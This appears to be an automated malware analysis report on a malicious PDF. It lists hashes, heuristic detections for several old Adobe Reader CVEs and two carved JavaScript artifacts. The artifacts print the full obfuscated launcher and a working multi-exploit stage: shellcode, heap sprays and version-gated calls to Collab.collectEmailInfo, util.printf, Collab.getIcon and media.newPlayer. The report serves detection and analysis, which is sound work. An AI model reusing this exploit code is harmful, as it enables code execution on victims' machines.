Malicious PDF — malware analysis report

Static analysis result for SHA-256 54d339581e7dd9ee…

MALICIOUS

PDF

29.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 3feb81058d8201e8046c888ca7475e61 SHA-1: 2a33c69ac357a3a25196b87431aceba0e540070d SHA-256: 54d339581e7dd9ee4ac8d1ad043692839660ad461c00a68a14cd5743e010bbe0
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is likely intended to execute malicious code when the PDF is opened. The use of String.fromCharCode suggests obfuscation, common in malicious scripts. The extracted artifact 'javascript_obj0001_000.js' is also noted. The exact intent of the script is unclear due to potential obfuscation, but it is likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 703 bytes
SHA-256: 8070a596b3b060bf071d793766b95fe85927273208974bef56041c7b07eea10c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
jidmt='';
var q2 = date.getFullYear()-2007;
movru='2011s'.replace(date.getFullYear(),'hi');
nkt=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+movru+'.'+nkt);
var isxya = g();
llxrx=('sub2011').replace(date.getFullYear(),'ject');
g=new Function('a','return t'+movru+'.'+llxrx);
var hxpi=g().replace(date.getFullYear(),'al');
g=new Function('a','return t'+movru+'.'+hxpi);
boino=g();
vsni='pro2011cer';
vsni=boino('vsni.replace(date.getFullYear(),"du")');
g=new Function('a','return t'+movru+'.'+vsni);
hds=boino(g());
burp = boino(isxya);
for (i = 0; i < burp.length; i++) {
	cek = burp[i];
	jidmt += hds(cek);
}
boino(jidmt);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x38E 3636 bytes
SHA-256: e40605685ca39b3bf5dde072cc0b223d0592abac31611ce1ca44d26f4614912b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ua334%ue2aa%uc3fa%ue5e8%uffff%u4aff%ua2af%ua3a3%u22fd%uff4f%ua3a2%u2aa3%u2e44%ub3ec%ucc2e%u92f7%uf478%uf0f2%uf0f0%uf0f0%uf0f0%uf0f6%ucbf0%ua2a7%ua3a3%uf5f6%ucbf0%ucdcc%ua3a3%ud6cb%ucfd1%uf7ce%u2dcb%uaded%u4b4f%ua3eb%ua3a3%u4bf3%ua3df%ua3a3%u735c%u6720%ucbab%u4cec%ua6ec%u4bf3%ua3cf%ua3a3%u735c%u6326%ub4d6%uf7c9%u50fa%ucb09%u5dd1%ub510%ube4b%ua3a3%uf3a3%uf24b%ua3a3%u5ca3%uf073%u5dc9%u2acb%ua2cc%u4b1e%ua3ab%ua3a3%u4bf3%ua39f%ua3a3%u735c%u92c3%uc763%uf328%u2893%uaff1%uf128%u28b7%u8bd1%ubb1a%ua3a3%u92a3%u925c%u0f63%uc29f%ua1df%u838f%u6c62%ua2ae%u4164%u2253%uf85c%ue91f%u28c9%ub3e1%ub128%u7ad6%ue72a%ubf87%u60c2%u28c3%u87cf%u2887%u9fe6%uf728%udba6%u49a2%ue928%u28bb%u83f9%u48a2%u9740%u28ea%u2897%u4da2%u5c92%u6392%u0f5f%u6327%ua4d7%u6c62%ua2ae%u4864%u9857%u87df%ud68b%u2842%u87f9%u48a2%u28c5%ue8af%uf928%ua2bf%u2848%u28a7%u4ba2%ue72a%ubf87%u61c2%ua3ab%u4c4b%u5c5d%ucb5c%ud7d7%u99d3%u8c8c%ud4c6%uccc7%uc08d%u8dcc%uc0c0%uc48c%ud38d%ud3cb%uc59c%u919e%u8594%u9ec6%ua390';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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